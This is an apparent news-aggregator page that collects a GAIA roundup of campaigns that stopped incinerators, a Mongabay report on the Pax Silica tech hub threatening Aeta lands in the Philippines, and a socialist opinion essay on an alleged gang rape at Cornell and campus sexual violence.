    This story was originally published by Grist with the headline Pampered city trees deal with stress better than their country cousins on Oct 14, 2026.

    Categories: H. Green News

    WHEN THEY WIN, THE WORLD WINS.

    20 Inspiring Stories of Victory Against Incinerators

    October 14, 2026

    Over the past 25 years of GAIA, we have seen more than 375 incinerators shut down across the map. In this series for the Global Week of Action to Stop Incineration, we spotlight over 20 inspirational examples of communities emerging victorious against incinerators and incinerator proposals in their cities.

    From passionate and informative representations at council meetings, to technical consultations with international finance institutions, to historic petition drives and gathering support from the international community, find out the key factors in the following victories against toxic false solutions around the world.

    .stk-6uwpxd8 .stk-block-heading__text{color:#952925 !important;}Asia Pacific View this post on Instagram

    A post shared by GAIA Global Alliance for Incinerator Alternatives (@gaia_zerowaste)

    DUMAGUETE PYROLYSIS PLANT

    Dumaguete, Philippines

    Year Closed: 2025

    Key factor to success: Power of community science and on-the-ground expertise and leadership of the members of the impacted communities, including waste workers, housewives, residents, students, and teachers in Dumaguete.

    Case study and resources: 

    Members involved in the win: WOW,  DWWA (Dumaguete Waste Workers Association), GAIA

    WASTE-TO-ENERGY PLANT PROPOSAL IN 4 CITIES

    Gujarat, India

    Year closed/stopped: 2025

    Key factor to success: 

    1. Through analysis of the ESIA report and finding out how it violates World Bank’s performance standards 

    2. Amplifying local voices globally through collaboration and writing about the issue to the Board of Directors of the World Bank

    3. Documenting the on ground impacts of the WTE company and its financial analysis.

    Resources: Letter to World Bank, Collective letter signed by 174 organizations

    Members involved in the win: Alliance for Incinerator Free Gujarat including CFA, IAP and communities affected

    MULTI-COUNTRY INCINERATOR PROPOSAL

    Indonesia, Malaysia, Philippines, Singapore, Thailand, and Vietnam, China and Hong Kong

    Year closed/stopped: 2024

    Key factor to success: Collective campaign efforts, including in strategic spaces like the AIIB Annual Meeting + Technical letter sent to AIIB (Asian Infrastructure Investment Bank)  and raising concerns on the incinerator company’s association with corruption and pollution

    Resources: Project Document from AIIB, Case feature on AIIB Observer

    Members involved: Members in Indonesia, Malaysia, Philippines, Singapore, Thailand, and Viet Nam, China and Hong Kong, GAIA Asia Pacific 

    TE AWAMATU WASTE TO ENERGY PROPOSAL

    Te Awamatu, Aotearoa New Zealand

    Year Closed/Stopped: 2025

    Key factors to success: Public opposition with over 900 written submissions + strong expert testimonies against the plant in the Board hearings

    • Great community engagement
    • Great coalition building between community, Māori and environmental organisations
    • Relevant and highly qualified expert evidence at the hearings 

    Resources: 

    Members involved in the win: Zero Waste Aotearoa, Regeneration Not Incineration

    MAPO RECOVERY FACILITY PROPOSAL

    Mapo-gu, South Korea

    Year Closed/Stopped: 2026

    Key factors to success: Creation of an alliance to fight this incinerator proposal

    • Residents’ determination and strong community organizing: Fierce opposition and persistence of the community was the driving force that kept the campaign going through to the end.
    • Victory in the legal dispute: The community won a lawsuit by revealing procedural flaws.
    • Broad civil society solidarity: The campaign built a broad coalition extending beyond the residents’ group, bringing together residents, civil society organizations, and the local district office.

    Resources: Seoul City Scraps Mapo-gu Incineration Plant Plan https://www.chosun.com/english/national-en/2026/03/03/D2EWSGFRPVEDZH6R5PJZWZY26E/

    Members involved in the win: Mapo Resource Circulation Network

    .stk-p1ylu2b .stk-block-heading__text{color:#952925 !important;}Europe

    ROUGHLY 200 INCINERATORS

    Various locations, UK

    Year Closed: since 2007

    Key factor to success: Campaigners’ successes can be attributed to many factors, including:

    1. Deploying factual arguments supported by evidence including the harms caused by waste incineration
    2. The provision of advice, guidance, and networking support from an established nonprofit network – UKWIN
    3. Strong sustained public opposition that translates into political buy-in from local officials

    Case study and resources: 

    Members involved in the win: UKWIN, local communities, partner organizations, and allied networks

    MUNICIPAL WASTE INCINERATOR

    Skalica, Slovakia

    Year closed/stopped: 2026

    Key factor to success: 

    1. Early monitoring and information-gathering: tracking waste-management developments and gathering information about the project from the very beginning of the Environmental Impact Assessment (EIA) process, allowing campaigners sufficient time to understand the proposal and respond effectively.
    2. Identifying and empowering affected local residents: finding active people in the community who could be directly affected by the project, engaging them through public meetings and information campaigns, and supporting them to become key local advocates.
    3. Providing sustained NGO and expert support: creating a forum where NGOs and experts could explain the project and its potential impacts to residents, local authorities, and community advocates, while emphasizing the patience and perseverance needed to sustain the campaign over time.

    Resources: 

    You can find out more about our joint struggle here: 

    https://www.priateliazeme.sk/spz/z-nasej-prace/definitivne-vitazstvo-zamer-na-vystavbu-spalovne-odpadov-pri-meste-skalica-nebude

    Relevant articles:

    Spaľovne? Po skládkovaní druhé najhoršie riešenie! Spaľovanie odpadov je škodlivým prežitkom

    http://skalickyobzor.sk/cms/zo-skalickej-spalovne-je-medzinarodny-skandal/

    http://skalickyobzor.sk/cms/podme-porovnat-oba-varianty-likvidacie-odpadu-ceh-zevo-kontra-mbu/

    http://skalickyobzor.sk/cms/je-dokazane-uz-dnes-spalujeme-skalicky-odpad-v-cementarni-v-rohozniku/

    Members involved in the win: local community, Priatelia Zeme – SPZ  (Friends of the Earth – SPZ)

    RDF-FUELLED INCINERATOR

    Pavlikeni, Bulgaria

    Year closed/stopped: 2026

    Key factor to success: 

    1. A united local community and support from local businesses: residents came together across their differences to protect the region’s clean environment, fertile agricultural land, and quality of life, with local businesses also supporting the campaign.
    2. Strong technical, legal, and scientific expertise: lawyers, biologists, ecologists, and other technical experts provided critical expertise, with environmental organization Za Zemiata supporting the campaign with knowledge and legal capacity.
    3. Unprecedented public mobilization and sustained perseverance: more than 20,000 people from the region signed a petition, generating significant media attention and demonstrating strong public opposition. Four years of legal battles required sustained perseverance, while Za Zemiata’s successful lawsuit against the Sofia incinerator helped maintain hope that the campaign could succeed.

    Resources: 

    <CASE STUDY COMING SOON>

    Members involved: Za Zemiata, impacted community, network of allies

    .stk-nitz4wg .stk-block-heading__text{color:#952925 !important;}Africa

    DRAKENSTEIN MASS BURNING FACILITY

    Drakenstein, South Africa

    Year Stopped: 2016

    Key factor to success: Local communities and organizations challenged the proposed US$25-million mass-burning project, including concerns around the involvement of foreign companies and the U.S. Trade and Development Agency (US TDA). 

    Case study and resources: 

    Members involved in the win: Drakenstein Environmental Watch (DEW), Wellington Association Against the Incinerator (WAAI), groundWork, the South African Waste Pickers Association (SAWPA), GAIA, and community residents 

    MAURITIUS WASTE-TO-ENERGY PROJECT 

    La Chaumiere, Mauritius

    Year closed/stopped: 

    Key factor to success: Highlighting the mismatch of the proposed 300,000-tonne Gamma Covanta waste-to-energy facility on an island where approximately 70% of waste is composed of green and kitchen waste. 

    Resources: https://www.lalitmauritius.org/en/newsarticle/843/the-la-chaumire-waste-to-energy-project-criticized/

    Members involved in the win: Collectif des Opposants a l’Incineration de Dechets, DION & groundWork

    MASS-BURNING FACILITY

    Johannesburg, South Africa

    Year closed/stopped: 2013

    Key factor to success: Recognizing and following the lead of the 500 waste pickers, putting their voices and livelihoods at the center of the campaign. 

    Resources: March against killing jobs for dirty energy

    Members involved: SAWPA, groundWork, and the International Alliance of Waste Pickers (IAWP) 

    OGIJO TYRE PYROLYSIS FACILITY (TECH HIGH PROFILE)

    Ogijo, Nigeria

    Year Closed/Stopped: 2025

    Key factors to success:  Citizen science filling the gap in official data to document pollution near the waste-burning facility. 

    Resources: 

    Members involved in the win: Affected communities, Green Knowledge Foundation

    The post WHEN THEY WIN, THE WORLD WINS. first appeared on GAIA.

    America’s AI ambitions threaten Indigenous lands in the Philippines

    Grist - Wed, 10/14/2026 - 01:15

    This is an original story by Mongabay republished through the Indigenous News Alliance.

    Philippine President Ferdinand Marcos Jr. arrived at the Grand Hyatt Manila on Sept. 10 to address hundreds of foreign business representatives assembled for the Luzon Economic Corridor investors’ forum.

    Outside the hotel, hundreds of demonstrators had also gathered, carrying signs that read “No to Pax Silica!” The scene reflected both the government’s ambitious plans to ride the artificial intelligence wave and deep ambivalence in civil society.

    Police confronted the crowd, shoving them with riot shields and batons on the street outside the hotel lobby. Activists say police injured at least 27 protesters and arrested five. Police, meanwhile, reported minor cuts and injuries to 16 personnel. 

    Protester Jona Yang, from the activist-scientist group AGHAM, said she was negotiating with the police to cool tensions when they arrested her. “We want the Marcos government and investors to see the outrage all of this has caused,” Yang told Mongabay. “They’re taking away our resources and our lands.”

    The Luzon Economic Corridor, or LEC, is an economic initiative focused on the Philippines’ biggest island, begun in 2024. Pax Silica, the U.S.-led global pact to build an AI and semiconductor supply chain that is not reliant on China, includes the LEC. In April, Washington and Manila announced plans to build a 4,000-acre high-tech manufacturing hub in the Central Luzon region.

    Pax Silica has become a lightning rod for political and environmental contentions. The government maintains it’s a boon for the Philippine economy. But opponents of the project, including Indigenous and local communities living on the land designated for the project, say it’s an international land and resource grab in the name of U.S. AI ambitions.

    U.S. Secretary of State Marco Rubio visited Manila in July to affirm bilateral commitment to the project, with a final agreement slated for signing in November.

    At the LEC forum, Pax Silica was discussed behind closed doors, and officials gave few details about its future. Angela Ignacio, an undersecretary at the Philippine Department of Finance, told reporters it would be premature to share any details on Pax Silica before plans are finalized. But she did call it a chance for the Philippines to become a “global player when it comes to technologies that will shape the future.”

    Heather Variava, senior adviser to the U.S. State Department’s Bureau of Economic, Energy, and Business Affairs, added that “the goal of the U.S. is always to be an additive, to bring more power, to bring water, to bring more benefits to the Philippines.”

    The Pax Silica hub will be built within New Clark City, a government-planned “smart” city inside the greater 79,000-acre Clark area, a former U.S. military complex. Clark is titled and managed by the Bases Conversion and Development Authority, or BCDA, an office under the supervision of the president. At a press briefing, development authority chief Joshua Bingcang shared a “conservative” estimate that the facility would need around 3 gigawatts of energy to run. He also said that it would be green and mainly solar powered.

    “We are blessed with 300 days of sunshine,” Bingcang added.

    Running consistently, the Pax Silica facility would demand about 26.3 terawatt-hours each year; by contrast, the Philippines’ entire service sector consumed about 28 TWh in 2024.

    Giovanni Tapang, former dean at the University of the Philippines’ College of Science and a convenor of the Network Opposed (NO) to Pax Silica, told Mongabay that the Philippines has the “most to lose” among the 25 nations involved in the pact as it chains domestic resources to U.S. policies. “How many thousands of hectares will they be taking from farmers to build solar panels? And if we’re generating all this clean energy, why let the U.S. use it instead of local households?” Tapang said.

    The development authority initially said that data centers could be part of the Pax Silica. But Bingcang and the president’s office later denied this in a September press briefing where he emphasized it would be a semiconductor facility.

    A document shared at the LEC forum listed data centers as part of the planned infrastructure in New Clark City. It did not specify whether the data centers would be built inside the Pax Silica hub.

    Bingcang said the Pax Silica hub would also consume about 16 million to 24 million gallons of water each day, sourced from rainwater via an impounding dam. “We can ramp it up to 300 million liters [79 million gallons] a day with the available technology,” he told reporters in Filipino.

    Tapang voiced concerns about how the development authority’s plan would work during the Philippines’ dry season, which runs from December to May. “This is the same period where farmers need their water for irrigation,” he said.

    The BCDA says it intends to house mineral processing technology as well. Thony Dizon of the advocacy group BAN Toxics said the government has yet to reveal anything about how it will manage the resulting waste. “How will the government ensure that after 30 years, we are not left with a contaminated environment and depleted natural resources?” Dizon said.

    The United States’ history with Clark dates to a military base established in 1903, when the Philippines was under U.S. colonial rule. The base remained under U.S. military control until 1991, when Clark finally came under the control of the Philippine government 45 years after the country gained independence.

    Long before that, historians argue, the area was the ancestral territory of the Aetas, considered to be some of the earliest settlers on the archipelago.

    The Pax Silica site, located within the 23,350-acre New Clark City, overlaps with the ancestral domain claims of thousands of Aetas. A survey of the land by Arnisson Andre Ortega, a professor at Syracuse University in the U.S. and a member of the geographer group Countermapping Ph, revealed that planned construction for Pax Silica would impede on the lands of at least three existing Aeta villages.

    “There is no ancestral domain title in that area,” BCDA chief Bingcang said, denying that the project would displace anybody.

    Gloria Capiz-Estabillo, 76, is one of the elders of the Aeta Hungey tribe. She said tribal members have already been told by the Bases Conversion and Development Authority to leave their land. Michael Beltran for Mongabay.

    Gloria Capiz-Estabillo, 76, an elder of the Aeta Hungey tribe, told Mongabay that the development authority has already begun informing Aetas that they need to leave the land. “They’re setting up right in the middle of our land. Where are we going to live? How about our crops? Where will they take us, just drop us in the ocean?” Estabillo told Mongabay in Filipino.

    To gain land rights, Indigenous peoples must apply for what’s known as a certificate of ancestral domain title from the National Commission on Indigenous Peoples.

    Aetas in Clark have been lobbying for a certificate since 1994, but have been beset by frequent delays as the impoverished communities struggle to complete the minimum requirements needed: a detailed area map, a population census, genealogy of at least five clans covering the past three generations, and elder testimonies.

    Ortega said the process has lagged for decades under “Indigenous-unfriendly” red tape involving the Bases Conversion and Development Authority and the commission. “The absence of a formal title does not invalidate their claim to their ancestral lands; rather, it highlights a critical lack of government support,” Ortega told Mongabay.

    By contrast, the Pax Silica hub is supported by the Investor’s Lease Act, signed by President Marcos Jr. in September, which allows foreign businesses to lease commercial and industrial lands for up to 99 years.

    The second day of the LEC forum was held in New Clark City. The BCDA led a field visit for the hundreds of prospective businesses. Hundreds of protesters continued to hound them, joined by nearby Aeta communities.

    “They’ll have to kill us to take us off this land,” Estabillo said.

    This story was originally published by Grist with the headline America’s AI ambitions threaten Indigenous lands in the Philippines on Oct 14, 2026.

    Categories: H. Green News

    The gang rape at Cornell

    Tempest Magazine - Tue, 10/13/2026 - 23:48

    We are now, finally, aware of what happened: In 2024, seven male students at Cornell University, all members of the Chi Phi fraternity, raped a woman known now as Jane Doe at a fraternity party. The party at which she was assaulted was soaked in alcohol and drugs.

    Jonathan Newell and six other men took advantage of and amplified her intoxicated state. She was taken to a bedroom where she was attacked by these men. A fraternity member disgustingly posted a message to Snapchat (that went to 50 people who did nothing) advertising free access to Doe’s body. The text read, “free pussy in alum pu [pull up]. . . Like you can walk in and whip it out.” Another message read, “Shop still open.” Trapped in the room, Doe was raped for hours.

    It is almost too grotesque to fathom yet also horribly common.

    Fraternity members scrambled to respond to the accusation of assault. “Just deny, deny, deny” read one message. On social media they asked, “What’s the plan? … I don’t think she would have reported this.” “It’ll blow over in a couple days,” one wrote.

    The University reported the accusation to the Tompkins County District Attorney. But as of October 2026, none of the men has been charged with a crime due to a loophole in the law that says that a person who voluntarily ingests intoxicants cannot claim that they did not consent. It has been revealed that Doe was given ketamine against her will. However, regardless of any voluntary intoxication, no one who is impaired can truly consent to sexual activity. Intoxication is not a license to rape.

    The university banned the fraternity and expelled two students. This was the extent of their “punishment.”

    This failure occurred in spite of Doe’s interview with Cornell police and a Title IX investigator that produced a 120-page transcript. Her claims that she “can say with 100 percent confidence that I was raped” by a “ring of men” in a room from which there “was really no escape” did not, as Corey Robin has reported, make it into the six pages supplied to the District Attorney, who concluded that he did not have enough evidence to file charges against the men.

    But this September, Doe filed a civil lawsuit against the University, the Chi Phi fraternity, Delta Delta Delta sorority, and the seven men who assaulted her. This filing and the following outcry prompted New York Gov. Kathy Hochul to order Attorney General Letitia James to open a criminal investigation. The national response has revived public awareness of sexual assault, particularly sexual assault on college campuses. Thousands of students at Cornell and across the country demonstrated powerful support of Doe demanding independent investigations, bans on fraternities, and the resignation of the university president and other administrators who protected these men from the consequences of their actions.

    Elite universities, fraternities, and gender violence

    Sexual assault occurs, unfortunately, everywhere, but one in five undergraduate students experiences rape or sexual assault over a four-year college career. As much as 80 percent of sexual assaults on campus are not reported. Regardless of enrollment, women between 18 and 24 are most at risk for rape and other sexual violence. College students, according to feminist Rebecca Solnit, are most at risk at fraternities during the “Red Zone” between the start of school and Thanksgiving break.

    Ivy League and other elite universities around the world have a vested interest in guarding the institution against scandal and protecting students who either will join the ranks of the ruling class or already come from powerful families. Alumni who belong to fraternities also exert pressure after leaving school. As Cornell graduate student Kaori Quan told Truthout, “wealthy donors are members of these organizations, and that stream of cash incentivizes the university to preserve their reputation over the health and safety of students.”

    Robin explains,

    So you have a woman student stating she was gang raped. You have a police officer and an administrator [a Title IX investigator] beholden to an institution that wants, more than anything, to cultivate a reputation for itself as a hallowed place of learning and study rather than as a playground for rapists. It doesn’t take much to see how the representative of those institutions could massage and produce, out of 120 pages of blood-curdling testimony of a terrified and confused woman, a bland statement that a not terribly energetic or inquisitive district attorney could tuck away and think, I’ve done my job for the day.

    Thus, when students commit crimes, these schools rarely expel them. Fraternities, while not protected by law, often employ cultural and social mechanisms—discouraging and under- reporting, blaming single individuals for such conduct, and enforcing codes of silence, destruction of evidence, and denying blame for crimes committed at “unofficial” events like parties—to protect members and discredit victims. The code “Bros will be Bros” influences perception of sexual assault responsibility: When a perpetrator is a member of a fraternity,1Rita C. Seabrook and L. Monique Ward, “Bros Will Be Bros? The Effect of Fraternity Membership on Perceived Culpability for Sexual Assault, Violence Against Women 25, no. 12 (2019): 1471-1490.

    males rated perpetrators as less guilty and victims as more culpable when the perpetrator was a fraternity member, suggesting that sexual violence may be reinforced among fraternity members as they are both more likely to perpetrate sexual assault and less likely to be blamed.

    Relative to campuses in general and society at large, fraternities are associated with higher risks of sexual assault, although exact numbers are hard to find due to underreporting and institutional silence.

    The progressive Century Foundation and Gallup News report that, despite making up only about two percent of the total U.S. population, fraternity members dominate traditional positions of power: The Century Foundation reports that half of the CEOs of Fortune 500 Companies, 76 percent of U.S. legislators, 85 percent of  Supreme Court Justices (since 1910), 63 percent of U.S. Presidential Cabinet members, and almost every President and Vice President of the United States (since 1825). (Three of the six women on the Supreme Court were members of sororities.)

    73 percent of fraternity members are white; 60 percent come from private high schools, and 30 percent were legacy admissions.

    So, when it comes to sexual assault and other violations, universities protect themselves, fraternities protect themselves, and both protect students who either are or will be in the ruling class.

    In doing so, these institutions are grievously failing survivors like Jane Doe and abetting gender violence in the service of broader systemic power.

    Capitalism and gender violence

    Solnit describes our society as a “rape-prone” culture marked by

    entitlement and the desire to abuse and dehumanize women, which is in part about definitions of both masculinity and femininity: masculinity in that domination, violation and degradation are seen as status-enhancing, femininity in the perception that women’s bodies are for men to use, women’s voices and rights to be ignored.

    Solnit’s emphasis is on masculine supremacy as the root of rape culture. However, it is also important to consider that gender violence is tied to the general structural violence—from sexual assault to police violence to colonialism and war to racist brutality and more—of the capitalist system. Why and how does capitalism produce a “rape-prone” culture?

    Capitalist society depends upon people to occupy normative (prescribed, “appropriate”) gender identities and roles as part of the ideology of family values. This is because capitalism relies upon the private family to reproduce—biologically and socially—the population of workers, all at no cost to corporations or the state. The ideology of the family depends on a feminine identity whose primary role in society is to keep house and raise children. Gender violence is a form of gender discipline that, in conjunction with other ideological and social forces, sustains the installation of women as responsible for every reproductive task, from birth to education, housing, health care, transportation, and socialization (which itself reproduces normative gender roles).

    We can find cultural expression of this gendered family imperative in the (actually declining) “tradwife” movement exhorting women to abandon education and careers in favor of devoting themselves to home and family. We see its political expression in the policy announced by Vice President J.D. Vance that would reallocate federal childcare funds to pay families with married, stay-at-home parents.

    Rebecca Hall has argued that the usually feminized paid and unpaid labor often performed by women means that the family and other domestic spaces are sites of both extreme and persistent gender violence and creative resistance to capitalism as a system.2Rebecca Hall, “A Social Reproduction Theory of Gender Violence,” Signs: Journal of Women in Culture and Society 48, no. 2 (20223): 321-345. She explains gender violence as occupying the intersection between the structural violence of capitalism and the embodied violence of gendered spaces.

    The irony is that capitalism is a direct threat to the well-being of the private family and yet requires it to sustain profitability. Gender violence fills the gap in that contradiction by blaming women, and particularly women active in careers and pursuits outside the home, for transgressing the role that capitalism needs them to play so badly. Domestic assault and sexual assault happen in domains considered to be “private,” sites of profound gender regulation un- or loosely overseen by the state. Hall notes that social reproduction happens expansively not only in the household but also in communities, public and private institutions, and workplaces—and so, therefore, does gender violence.

    Above and beyond the networking and nepotism of fraternities, the social reproduction of ruling class men into their prescribed roles generate habits of command and sexual entitlement, which carries forward into fraternity life and their roles as future bosses and political elites.

    A brief note is necessary about trans and gender nonbinary identities and bodies as they intersect this discussion. Transwomen and other genderqueer people, in refusing to occupy conventionally gendered social positions, are especially targeted by gender violence and the carceral system. Sarah Lamble says that trans people, figured as dangers to society, experience fear, surveillance, discipline, policing, and punishment.3Sarah Lamble, Unsafe: The Carceral Roots of the Anti-Trans Backlash (Haymarket Books, 2026).

    Fighting back against gender violence

    Women and their allies resist gender violence in both interpersonal and public ways. Some may call for greater criminalization of gender violence and intervention by the police and other agencies of the state. It is tempting to hope for the criminal prosecution and conviction of the seven rapists in the Cornell case as a positive end goal. But the police are not our defenders.

    Indeed, police are disproportionately represented among those who commit rape and other sexual assaults, including against children, and they are more likely than others to commit violence against their family members. Ms Magazine reported recently that police sexual violence is the second-most common form of civilian complaint against law enforcement. As with fraternities there is a (blue) wall of silence that protects police accused of these and other crimes (like the murder of Black people and abuse of immigrants by ICE).

    More broadly, as brian bean argues in their end is our beginning, the modern police were created and evolved in capitalism and serve its violent order.4brian bean, Their End Is Our Beginning (Haymarket 2026). They exist to protect corporations and society at large from threats to property and elites. They crack down on immigrants, protesters, labor unions, and women and the gender queer as a function of their mission to serve capitalism. In short, the police are not our friends, and the courts are not friendly to victims of gender violence, either.

    Not only is sexual assault underreported, but is one of the most dismissed crimes in U.S. law. Character assassination, legal loopholes, and retaliation make successful prosecution difficult and damaging to survivors.5R. Michael Cassidy, “Character, Credibility, and Rape Shield Rules,” Georgetown Review of Law and Public Policy 19 (2021): 145-176. If looking to the law is not a productive response to gender violence, including rape, where do we find effective resistance for the survival and flourishing of women and genderqueer people?

    Historically, it has been mass movements for women’s liberation that have affected public awareness and incidence of rape and other gender crimes. It was in the late 1970s, during the women’s liberation movement and on the heels of its militancy that rape rates began a decades-long decline.

    Take Back the Night protests took shape during this time, and the viral #MeToo movement, founded in 2006 by Tarana Burke, was revived in 2017. It led to legal, cultural, institutional, and economic change, including state-level prohibition of non-disclosure agreements, the passage of state-level anti-harassment laws, an increase in the reporting of gender violence to the police and increased numbers of prosecutions, and some corporate workplace reforms (and the ejection of perpetrators from seats of power). In culture, new awareness about the need for affirmative consent and discussion about gender and power in the media arose.

    Women’s rage has fueled resistance to gender violence. Today, there is a massive viral solidarity movement with the slogan “I am Jane Doe,” with 40 nationwide protests and campus walkouts, sit-ins, and demonstrations at Cornell and other universities. The Cornell faculty introduced a no-confidence resolution against the university administration.

    On October 5, thousands of Cornell University students representing more than 20 organizations protested on the campus, holding signs reading “We are Jane Doe,” “Stop Protecting Rapists,” and “We Want Sentences, not Essays.” Shireen Akram-Boshar reported that the students are demanding the replacement of Cornell’s internal judicial system with an independent system, an external investigation of Cornell’s administration mandatory sexual assault prevention trainings for students, and compliance with the New York state law, “Enough is Enough.” In addition, they are demanding the resignation of Cornell University President Michael Kotlikoff and other administrators. Some are demanding that fraternities be banned from campus.

    They have also called for the expulsion of all of the students. Akram-Boshar learned that, of 1200 reported incidents of sexual violence on campus from 2018 to 2024, only seven resulted in expulsion.

    We stand with Jane Doe and all of the students demonstrating against sexual assault and administrative inaction.

    In addition, we must build a broader movement that connects the fight against gender violence to the abolition of the police and the struggle for socialism from below. We on the socialist Left must make gender violence a focus in our political discussion and action. Ciswomen, transwomen, transmen, and genderqueer people must stand in solidarity with each other and with the struggle against the capitalist system,  which is the horrifying well from which this violence against us springs.

    #MeToo

    #IamJaneDoe

    Opinions expressed in signed articles do not necessarily represent the views of the editors or the Tempest Collective. For more information, see “About Tempest Collective.”
    Featured Image credit: Rotograph Co; modified by Tempest.

    The post The gang rape at Cornell appeared first on Tempest.

    Categories: D2. Socialism

    We need a movement for self-rule

    Ecologist - Tue, 10/13/2026 - 23:00
    We need a movement for self-rule Channel Comment brendan 14th October 2026 Teaser Media
    Categories: H. Green News

    Pages

    The Fine Print I:

    Disclaimer: The views expressed on this site are not the official position of the IWW (or even the IWW’s EUC) unless otherwise indicated and do not necessarily represent the views of anyone but the author’s, nor should it be assumed that any of these authors automatically support the IWW or endorse any of its positions.

    Further: the inclusion of a link on our site (other than the link to the main IWW site) does not imply endorsement by or an alliance with the IWW. These sites have been chosen by our members due to their perceived relevance to the IWW EUC and are included here for informational purposes only. If you have any suggestions or comments on any of the links included (or not included) above, please contact us.

    The Fine Print II:

    Fair Use Notice: The material on this site is provided for educational and informational purposes. It may contain copyrighted material the use of which has not always been specifically authorized by the copyright owner. It is being made available in an effort to advance the understanding of scientific, environmental, economic, social justice and human rights issues etc.

    It is believed that this constitutes a 'fair use' of any such copyrighted material as provided for in section 107 of the US Copyright Law. In accordance with Title 17 U.S.C. Section 107, the material on this site is distributed without profit to those who have an interest in using the included information for research and educational purposes. If you wish to use copyrighted material from this site for purposes of your own that go beyond 'fair use', you must obtain permission from the copyright owner. The information on this site does not constitute legal or technical advice.